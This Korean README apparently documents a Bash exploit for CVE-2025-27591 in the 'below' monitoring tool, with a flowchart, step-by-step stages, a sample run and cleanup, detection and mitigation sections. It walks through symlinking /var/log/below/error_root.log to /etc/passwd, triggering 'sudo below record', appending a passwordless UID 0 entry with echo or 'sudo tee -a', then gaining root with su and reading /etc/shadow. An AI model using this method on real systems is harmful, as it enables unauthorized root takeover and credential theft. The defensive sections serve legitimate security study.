
Bash 기반의 권한 상승 익스플로잇으로, `below` 시스템 성능 모니터링 도구를 대상으로 합니다. 이 개선된 익스플로잇은 로깅 메커니즘의 심볼릭 링크 취약점을 이용하여 `/etc/passwd`에 루트 사용자를 주입함으로써 완전한 루트 액세스 권한을 획득합니다.
below 시스템 성능 모니터링 도구를 대상으로 하는 Bash 기반 권한 상승 익스플로잇입니다. 개선된 이 익스플로잇은 로깅 메커니즘의 심볼릭 링크 취약점을 이용하여 /etc/passwd에 루트 사용자를 주입하여 완전한 루트 액세스를 획득합니다.
발견 및 보고: Matthias Gerstner @ SUSE - 보안 권고
/usr/bin/below (Facebook의 시스템 성능 모니터)/var/log/below/error_root.log → /etc/passwdbelow 모니터링 도구는 높은 권한으로 실행될 때 오류를 /var/log/below/error_root.log에 기록합니다. 로그 디렉터리에 전역 쓰기 권한이 있는 경우 공격자는:
error_root.log에서 /etc/passwd로의 심볼릭 링크를 생성합니다.below record 명령을 트리거하여 오류 메시지를 심볼릭 링크에 기록합니다.이 익스플로잇은 다양한 시스템 구성을 처리하기 위한 지능형 대체 메커니즘과 함께 전체 프로세스를 자동화합니다.
flowchart TD
A[Start Exploit] --> B[Get Username from User]
B --> C{Check /var/log/below<br/>World-Writable?}
C -->|No| D[Exit: Not Vulnerable]
C -->|Yes| E[Remove Existing error_root.log]
E --> F[Create Symlink:<br/>error_root.log → /etc/passwd]
F --> G{Symlink Created<br/>Successfully?}
G -->|No| D
G -->|Yes| H[Execute: sudo below record]
H --> I[Wait 3 seconds for logging]
I --> J[Kill below process]
J --> K{Payload in<br/>/etc/passwd?}
K -->|Yes| M[Success Path]
K -->|No| L[Attempt Manual Injection:<br/>echo payload >> symlink]
L --> N{Manual Injection<br/>Success?}
N -->|No| O[Try Fallback:<br/>sudo tee -a]
N -->|Yes| M
O --> P{Fallback<br/>Success?}
P -->|No| D
P -->|Yes| M
M --> Q[Verify Payload in /etc/passwd]
Q --> R[Disable Cleanup Trap]
R --> S[Execute: su username]
S --> T[Root Shell Obtained]
style A fill:#e1f5ff
style T fill:#90EE90
style D fill:#ffcccb
style M fill:#98fb98
사전 점검 단계
/var/log/below 디렉터리가 존재하는지 확인설정 단계
error_root.log 파일 제거/var/log/below/error_root.log → /etc/passwd주입 단계 (기본 방법)
sudo below record 실행/etc/passwd를 손상시켰는지 확인주입 단계 (대체 방법)
echo >> symlink)sudo tee -a)셸 실행 단계
/etc/passwd에 악성 사용자가 존재하는지 확인su <username>을 실행하여 루트 셸 획득주입된 /etc/passwd 항목은 다음 형식을 따릅니다:
username::0:0:username:/root:/bin/bash
필드 설명:
username: 사용자가 제공한 사용자 이름 (기본값: "0xdtc")::: 빈 암호 필드 (암호 필요 없음)0:0: UID=0, GID=0 (루트 권한)username: GECOS 필드 (사용자 설명)/root: 홈 디렉터리/bin/bash: 로그인 셸below 바이너리가 실행 중인 대상 시스템/var/log/below 디렉터리에 전역 쓰기 권한이 있어야 함below record를 실행할 수 있는 sudo 액세스 권한이 있어야 함# 스크립트 실행 가능하게 설정
chmod +x CVE-2025-27591
# 익스플로잇 실행
./CVE-2025-27591
========================================
CVE-2025-27591 Exploit (Bash)
========================================
[*] This exploit will create a new root user in /etc/passwd
[?] Enter username for the new root user (default: 0xdtc): myuser
[+] Using username: myuser
0xdtc@kali:/tmp$ ./CVE-2025-27591
========================================
CVE-2025-27591 Exploit (Bash)
========================================
[*] This exploit will create a new root user in /etc/passwd
[?] Enter username for the new root user (default: 0xdtc): 0xdtc
[+] Using username: 0xdtc
[*] Checking for CVE-2025-27591 vulnerability
[+] /var/log/below is world-writable
[*] Testing symlink creation
[+] Symlink test successful
[+] Target is vulnerable
[*] Starting exploitation
[+] Wrote payload to /tmp/exploit_payload
[*] Creating symlink: /var/log/below/error_root.log -> /etc/passwd
[+] Symlink created
[*] Executing 'sudo below record' to trigger logging
[*] Started 'below record' with PID: 12345
[*] Checking if payload was written
[*] Attempting manual injection
[*] Appending payload to /etc/passwd via symlink
[+] Payload appended
[+] Exploitation completed! Payload is in /etc/passwd
[*] Spawning root shell via 'su 0xdtc'
[*] Password should be empty, just press Enter
root@kali:/tmp# whoami
root
스크립트에는 다양한 시스템 구성을 처리하기 위한 여러 대체 메커니즘이 포함되어 있습니다:
기존 파일 처리
다중 주입 방법
below record 오류 로깅을 통한 트리거sudo tee를 사용한 권한 있는 쓰기프로세스 관리
below 프로세스 자동 종료재실행 감지
/etc/passwd에 페이로드가 이미 존재하는지 확인.
├── CVE-2025-27591 # Main exploitation script
├── README.md # This documentation
└── /tmp/exploit_payload # Temporary payload file (created at runtime)
익스플로잇 성공 후 루트 액세스 확인:
# 현재 사용자 확인
root@target:/tmp# whoami
root
# 사용자 ID 및 그룹 확인
root@target:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
# /etc/passwd에서 사용자 확인
root@target:/tmp# grep "^0xdtc:" /etc/passwd
0xdtc::0:0:0xdtc:/root:/bin/bash
# 루트 전용 파일 읽기
root@target:/tmp# cat /etc/shadow
[... shadow file contents ...]
테스트 후 악성 사용자를 제거해야 하는 경우:
# /etc/passwd에서 주입된 사용자 제거
sudo sed -i '/^username:/d' /etc/passwd
# 남은 심볼릭 링크 제거
rm -f /var/log/below/error_root.log
username을 익스플로잇 중 사용한 실제 사용자 이름으로 바꾸십시오.
파일 무결성 모니터링
# /etc/passwd의 무단 변경 모니터링
aide --check
심볼릭 링크 탐지
# 로그 디렉터리에서 의심스러운 심볼릭 링크 확인
find /var/log -type l -ls
감사 로그
# 의심스러운 sudo 사용 확인
grep "below record" /var/log/auth.log
디렉터리 권한 수정
# 로그 디렉터리에서 전역 쓰기 권한 제거
sudo chmod 755 /var/log/below
AppArmor/SELinux 정책
below 바이너리 파일 쓰기 위치 제한Below 업데이트
/etc/passwd 모니터링
이 익스플로잇은 교육 목적 및 승인된 침투 테스트에만 사용됩니다.
컴퓨터 시스템에 대한 무단 액세스는 불법입니다. 보안 테스트를 수행할 명시적 권한이 있는 시스템에서만 이 도구를 사용하십시오. 저자는 이 도구의 오용에 대해 어떠한 책임도 지지 않습니다.
이 익스플로잇을 사용함으로써 귀하는 다음을 확인합니다:
저장소: https://github.com/0xDTC/ 저자: Divine Clown (0xDTC) 라이선스: 교육 목적 전용 최종 업데이트: 2025-11-13